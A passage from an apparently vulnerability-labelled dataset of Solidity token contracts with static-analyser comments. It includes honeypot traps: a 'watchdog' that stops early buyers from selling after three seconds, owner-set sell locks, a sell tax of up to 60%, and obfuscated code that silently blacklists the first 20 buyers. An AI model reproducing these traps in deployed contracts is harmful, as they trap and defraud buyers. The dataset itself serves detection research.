address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 281b628\n\t\t// reentrancy-benign | ID: a44babd\n\t\t// reentrancy-benign | ID: 328c2a1\n\t\t// reentrancy-benign | ID: fd5cd0d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 7a12834\n\t\t// reentrancy-events | ID: ef3bd1e\n\t\t// reentrancy-events | ID: 4b39534\n\t\t// reentrancy-events | ID: 1d2823f\n emit Approval(owner, spender, amount);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7a12834): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7a12834: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 281b628): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 281b628: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e567e29): trump.openTrading() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)) (200_000 * 10 ** _decimals),0,0,owner(),block.timestamp)\n\t// Recommendation for e567e29: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 65fb152): trump.openTrading() ignores return value by IERC20(pair).approve(address(router),~ uint256(0))\n\t// Recommendation for 65fb152: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b780a30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b780a30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!enableTrading, \"Can only be opened once\");\n\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-events | ID: 7a12834\n\t\t// reentrancy-benign | ID: 281b628\n\t\t// reentrancy-eth | ID: b780a30\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 281b628\n router = _router;\n\t\t// reentrancy-benign | ID: 281b628\n pair = _pair;\n\n\t\t// reentrancy-benign | ID: 281b628\n _isExcludedFromMaxBalance[pair] = true;\n\n\t\t// reentrancy-events | ID: 7a12834\n\t\t// reentrancy-benign | ID: 281b628\n _approve(address(this), address(router), ~uint256(0));\n\n\t\t// unused-return | ID: e567e29\n\t\t// reentrancy-eth | ID: b780a30\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)) - (200_000 * 10 ** _decimals),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 65fb152\n\t\t// reentrancy-eth | ID: b780a30\n IERC20(pair).approve(address(router), ~uint256(0));\n\n\t\t// reentrancy-eth | ID: b780a30\n enableTrading = true;\n }\n\n function setContractTaxes(\n uint8 buyTax_,\n uint8 sellTax_\n ) external onlyOwner {\n require(\n buyTax_ <= 35 && sellTax_ <= 60,\n \"Taxes can't exceed the limit.\"\n );\n\n buyTax = buyTax_;\n sellTax = sellTax_;\n\n emit TaxesChanged();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4179271): trump.setContractLimits(uint256,uint256) should emit an event for maxTxAmount = maxTX_EXACT * (10 ** _decimals) maxWallet = maxWallet_EXACT * (10 ** _decimals) \n\t// Recommendation for 4179271: Emit an event for critical parameter changes.\n function setContractLimits(\n uint maxTX_EXACT,\n uint maxWallet_EXACT\n ) public onlyOwner {\n uint pointFiveSupply = ((_tTotal * 5) / 1000) / (10 ** _decimals);\n\n require(\n maxTX_EXACT >= pointFiveSupply &&\n maxWallet_EXACT >= pointFiveSupply,\n \"Invalid Settings\"\n );\n\n\t\t// events-maths | ID: 4179271\n maxTxAmount = maxTX_EXACT * (10 ** _decimals);\n\n\t\t// events-maths | ID: 4179271\n maxWallet = maxWallet_EXACT * (10 ** _decimals);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 785aee1): trump.setSwapSettings(uint256) should emit an event for swapThreshold = swapThreshold_EXACT * (10 ** _decimals) \n\t// Recommendation for 785aee1: Emit an event for critical parameter changes.\n function setSwapSettings(uint swapThreshold_EXACT) public onlyOwner {\n\t\t// events-maths | ID: 785aee1\n swapThreshold = swapThreshold_EXACT * (10 ** _decimals);\n }\n\n function setWatchdogOff() external onlyOwner {\n require(watchdogMode, \"Already turned off.\");\n\n watchdogMode = false;\n }\n\n function setDogSellTimeForAddress(\n address holder,\n uint dTime\n ) external onlyOwner {\n _dogSellTime[holder] = block.timestamp + dTime;\n }\n\n function manualSwap() external lockTheSwap {\n require(msg.sender == marketingWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n uint256 ethSwapped = swapTokensForETH(tokenBalance);\n\n if (ethSwapped > 0) payable(marketingWallet).transfer(ethSwapped);\n }\n\n if (address(this).balance > 0)\n payable(marketingWallet).sendValue(address(this).balance);\n }\n\n function _preTransferCheck(\n address from,\n address to,\n uint256 amount\n ) internal {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n require(\n amount <= maxTxAmount || _isExcludedFromMaxBalance[from],\n \"Transfer amount exceeds the _maxTxAmount.\"\n );\n\n if (!_isExcludedFromMaxBalance[to])\n require(\n balanceOf(to) + amount <= maxWallet,\n \"Transfer amount exceeds the maxWallet.\"\n );\n\n if (\n balanceOf(address(this)) >= swapThreshold &&\n !swapping &&\n enableTrading &&\n from != pair &&\n from != owner() &&\n to != owner()\n ) swapAndLiquify();\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 34d8f8c): trump._watchDogCheck(address,address,bool) uses timestamp for comparisons Dangerous comparisons _dogSellTime[from] != 0 require(bool)(block.timestamp < _dogSellTime[from])\n\t// Recommendation for 34d8f8c: Avoid relying on 'block.timestamp'.\n function _watchDogCheck(address from, address to, bool isBuy) internal {\n if (isBuy) {\n if (watchdogMode) {\n\t\t\t\t// reentrancy-benign | ID: 36bcb00\n _caughtDogs++;\n\n\t\t\t\t// reentrancy-benign | ID: 36bcb00\n _dogSellTime[to] = block.timestamp + 3;\n }\n } else {\n\t\t\t// timestamp | ID: 34d8f8c\n if (_dogSellTime[from] != 0)\n\t\t\t\t// timestamp | ID: 34d8f8c\n require(block.timestamp < _dogSellTime[from]);\n }\n }\n\n function _getTaxValues(\n uint amount,\n address from,\n bool isSell\n ) private returns (uint256) {\n uint256 taxedTokens = (amount * buyTax) / 100;\n\n if (isSell) taxedTokens = (amount * sellTax) / 100;\n\n if (taxedTokens > 0) {\n\t\t\t// reentrancy-eth | ID: 8b0be76\n _tOwned[address(this)] += taxedTokens;\n\n\t\t\t// reentrancy-events | ID: 6b59af1\n emit Transfer(from, address(this), taxedTokens);\n }\n\n return (amount - taxedTokens);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6b59af1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6b59af1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 36bcb00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 36bcb00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8b0be76): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8b0be76: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n\t\t// reentrancy-events | ID: 6b59af1\n\t\t// reentrancy-benign | ID: 36bcb00\n\t\t// reentrancy-eth | ID: 8b0be76\n _preTransferCheck(from, to, amount);\n\n\t\t// reentrancy-eth | ID: 8b0be76\n _tOwned[from] -= amount;\n\n uint256 transferAmount = amount;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n\t\t\t// reentrancy-events | ID: 6b59af1\n\t\t\t// reentrancy-eth | ID: 8b0be76\n transferAmount = _getTaxValues(amount, from, to == pair);\n\n\t\t\t// reentrancy-benign | ID: 36bcb00\n _watchDogCheck(from, to, from == pair);\n }\n\n\t\t// reentrancy-eth | ID: 8b0be76\n _tOwned[to] += transferAmount;\n\n\t\t// reentrancy-events | ID: 6b59af1\n emit Transfer(from, to, transferAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4b39534): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4b39534: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 36ca589): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 36ca589: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1d2823f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1d2823f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a44babd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a44babd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 328c2a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 328c2a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify() private lockTheSwap {\n uint256 tokensForMarketing = (swapThreshold * 100) / 100;\n\n uint256 tokensForLiquidity = (swapThreshold * 0) / 100;\n\n if (tokensForMarketing > 0) {\n\t\t\t// reentrancy-events | ID: 4b39534\n\t\t\t// reentrancy-events | ID: 36ca589\n\t\t\t// reentrancy-events | ID: 1d2823f\n\t\t\t// reentrancy-benign | ID: a44babd\n\t\t\t// reentrancy-benign | ID: 328c2a1\n uint256 ethSwapped = swapTokensForETH(tokensForMarketing);\n\n\t\t\t// reentrancy-events | ID: ef3bd1e\n\t\t\t// reentrancy-events | ID: 6b59af1\n\t\t\t// reentrancy-events | ID: 4b39534\n\t\t\t// reentrancy-events | ID: 36ca589\n\t\t\t// reentrancy-events | ID: 1d2823f\n\t\t\t// reentrancy-eth | ID: 8b0be76\n if (ethSwapped > 0) payable(marketingWallet).transfer(ethSwapped);\n }\n\n if (tokensForLiquidity > 0) {\n uint half = tokensForLiquidity / 2;\n\n uint otherHalf = tokensForLiquidity - half;\n\n\t\t\t// reentrancy-events | ID: 4b39534\n\t\t\t// reentrancy-events | ID: 36ca589\n\t\t\t// reentrancy-events | ID: 1d2823f\n\t\t\t// reentrancy-benign | ID: a44babd\n\t\t\t// reentrancy-benign | ID: 328c2a1\n uint balAutoLP = swapTokensForETH(half);\n\n\t\t\t// reentrancy-events | ID: 4b39534\n\t\t\t// reentrancy-events | ID: 36ca589\n\t\t\t// reentrancy-benign | ID: a44babd\n if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP);\n }\n\n if (address(this).balance > 0)\n\t\t\t// reentrancy-events | ID: ef3bd1e\n\t\t\t// reentrancy-events | ID: 6b59af1\n\t\t\t// reentrancy-events | ID: 36ca589\n\t\t\t// reentrancy-benign | ID: fd5cd0d\n\t\t\t// reentrancy-benign | ID: 36bcb00\n\t\t\t// reentrancy-eth | ID: 8b0be76\n payable(marketingWallet).sendValue(address(this).balance);\n\n\t\t// reentrancy-events | ID: 36ca589\n emit SwapAndLiquify();\n }\n\n function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {\n uint256 initialBalance = address(this).balance;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ef3bd1e\n\t\t// reentrancy-events | ID: 6b59af1\n\t\t// reentrancy-events | ID: 4b39534\n\t\t// reentrancy-events | ID: 36ca589\n\t\t// reentrancy-events | ID: 1d2823f\n\t\t// reentrancy-benign | ID: a44babd\n\t\t// reentrancy-benign | ID: 328c2a1\n\t\t// reentrancy-benign | ID: fd5cd0d\n\t\t// reentrancy-benign | ID: 36bcb00\n\t\t// reentrancy-eth | ID: 8b0be76\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n return (address(this).balance - initialBalance);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0570824): trump.addLiquidity(uint256,uint256) uses timestamp for comparisons Dangerous comparisons ethAmount ethFromLiquidity > 0\n\t// Recommendation for 0570824: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3aec89e): trump.addLiquidity(uint256,uint256) ignores return value by (None,ethFromLiquidity,None) = router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,marketingWallet,block.timestamp)\n\t// Recommendation for 3aec89e: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ef3bd1e\n\t\t// reentrancy-events | ID: 6b59af1\n\t\t// reentrancy-events | ID: 4b39534\n\t\t// reentrancy-events | ID: 36ca589\n\t\t// reentrancy-benign | ID: a44babd\n\t\t// reentrancy-benign | ID: fd5cd0d\n\t\t// reentrancy-benign | ID: 36bcb00\n\t\t// unused-return | ID: 3aec89e\n\t\t// reentrancy-eth | ID: 8b0be76\n (, uint256 ethFromLiquidity, ) = router.addLiquidityETH{\n value: ethAmount\n }(address(this), tokenAmount, 0, 0, marketingWallet, block.timestamp);\n\n\t\t// timestamp | ID: 0570824\n if (ethAmount - ethFromLiquidity > 0)\n\t\t\t// reentrancy-events | ID: ef3bd1e\n\t\t\t// reentrancy-events | ID: 6b59af1\n\t\t\t// reentrancy-events | ID: 4b39534\n\t\t\t// reentrancy-events | ID: 36ca589\n\t\t\t// reentrancy-benign | ID: a44babd\n\t\t\t// reentrancy-benign | ID: fd5cd0d\n\t\t\t// reentrancy-benign | ID: 36bcb00\n\t\t\t// reentrancy-eth | ID: 8b0be76\n payable(marketingWallet).sendValue(ethAmount - ethFromLiquidity);\n }\n}\n",
"file_name": "solidity_code_10671.sol",
"size_bytes": 25451,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 20633a2): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 20633a2: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 20633a2\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Launch is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint256 private constant _x0xPWLY8147 = 0x123456;\n\n uint256 private constant _x0xHRJQ9325 = 0xABCDEF;\n\n\t// WARNING Optimization Issue (constable-states | ID: bcdc946): Launch.blacklistCount should be constant \n\t// Recommendation for bcdc946: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 20;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c6b4ed7): Launch._taxWallet should be immutable \n\t// Recommendation for c6b4ed7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b281a5d): Launch._0xFRXZ6981 should be constant \n\t// Recommendation for b281a5d: Add the 'constant' attribute to state variables that never change.\n uint256 private _0xFRXZ6981 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40040d9): Launch._x3LPYQ4027 should be constant \n\t// Recommendation for 40040d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _x3LPYQ4027 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bffef7): Launch._x7BWMJN should be constant \n\t// Recommendation for 9bffef7: Add the 'constant' attribute to state variables that never change.\n uint256 private _x7BWMJN = 0;\n\n uint256 private _x5HTYL8039 = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0a326d): Launch._x2JVZR759 should be constant \n\t// Recommendation for a0a326d: Add the 'constant' attribute to state variables that never change.\n uint256 private _x2JVZR759 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5dc8596): Launch._xGWQY18 should be constant \n\t// Recommendation for 5dc8596: Add the 'constant' attribute to state variables that never change.\n uint256 private _xGWQY18 = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb4140b): Launch._x1LQTR4V2 should be constant \n\t// Recommendation for cb4140b: Add the 'constant' attribute to state variables that never change.\n uint256 private _x1LQTR4V2 = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _x5YBXR9T3 = (_tTotal * 2) / 100;\n\n uint256 public _x0FKWP6L7 = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8c46393): Launch._x6RPZQK1 should be constant \n\t// Recommendation for 8c46393: Add the 'constant' attribute to state variables that never change.\n uint256 public _x6RPZQK1 = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ada8ec): Launch._maxTaxSwap should be constant \n\t// Recommendation for 7ada8ec: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private x3NVWPH9 = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _x5YBXR9T3);\n\n modifier lockTheSwap() {\n x3NVWPH9 = true;\n\n _;\n\n x3NVWPH9 = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n event ChecksumEvent(uint256 indexed dummyness0xELYP7493);\n\n function checksum0xCVXT5219() private pure {}\n\n function checksum0xDZQM4068() private pure {}\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f15cef3): Launch.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f15cef3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c3ab6f0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c3ab6f0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 014b79a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 014b79a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c3ab6f0\n\t\t// reentrancy-benign | ID: 014b79a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c3ab6f0\n\t\t// reentrancy-benign | ID: 014b79a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 091b8d8): Launch._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 091b8d8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 014b79a\n\t\t// reentrancy-benign | ID: 3b3be13\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c3ab6f0\n\t\t// reentrancy-events | ID: 0a252a5\n emit Approval(owner, spender, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a < b) ? a : b;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 91f1086): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 91f1086: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 80994ea): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 80994ea: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !initialBuyers[to]\n ) {\n currentBuyCount++;\n\n initialBuyers[to] = true;\n\n if (currentBuyCount <= blacklistCount) {\n bots[to] = true;\n\n emit Transfer(from, to, 0);\n }\n }\n\n taxAmount = amount\n .mul((_buyCount > _x2JVZR759) ? _x7BWMJN : _0xFRXZ6981)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _x5YBXR9T3, \"Exceeds the _x5YBXR9T3.\");\n\n require(\n balanceOf(to) + amount <= _x0FKWP6L7,\n \"Exceeds the x0FKWP6L7.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul((_buyCount > _xGWQY18) ? _x5HTYL8039 : _x3LPYQ4027)\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !x3NVWPH9 &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _x6RPZQK1 &&\n _buyCount > _x1LQTR4V2\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 91f1086\n\t\t\t\t// reentrancy-eth | ID: 80994ea\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 91f1086\n\t\t\t\t\t// reentrancy-eth | ID: 80994ea\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 80994ea\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 80994ea\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 80994ea\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 91f1086\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 80994ea\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 80994ea\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 91f1086\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 91f1086\n\t\t// reentrancy-events | ID: c3ab6f0\n\t\t// reentrancy-events | ID: 0a252a5\n\t\t// reentrancy-benign | ID: 014b79a\n\t\t// reentrancy-benign | ID: 3b3be13\n\t\t// reentrancy-eth | ID: 8d66070\n\t\t// reentrancy-eth | ID: 721fa0d\n\t\t// reentrancy-eth | ID: 80994ea\n 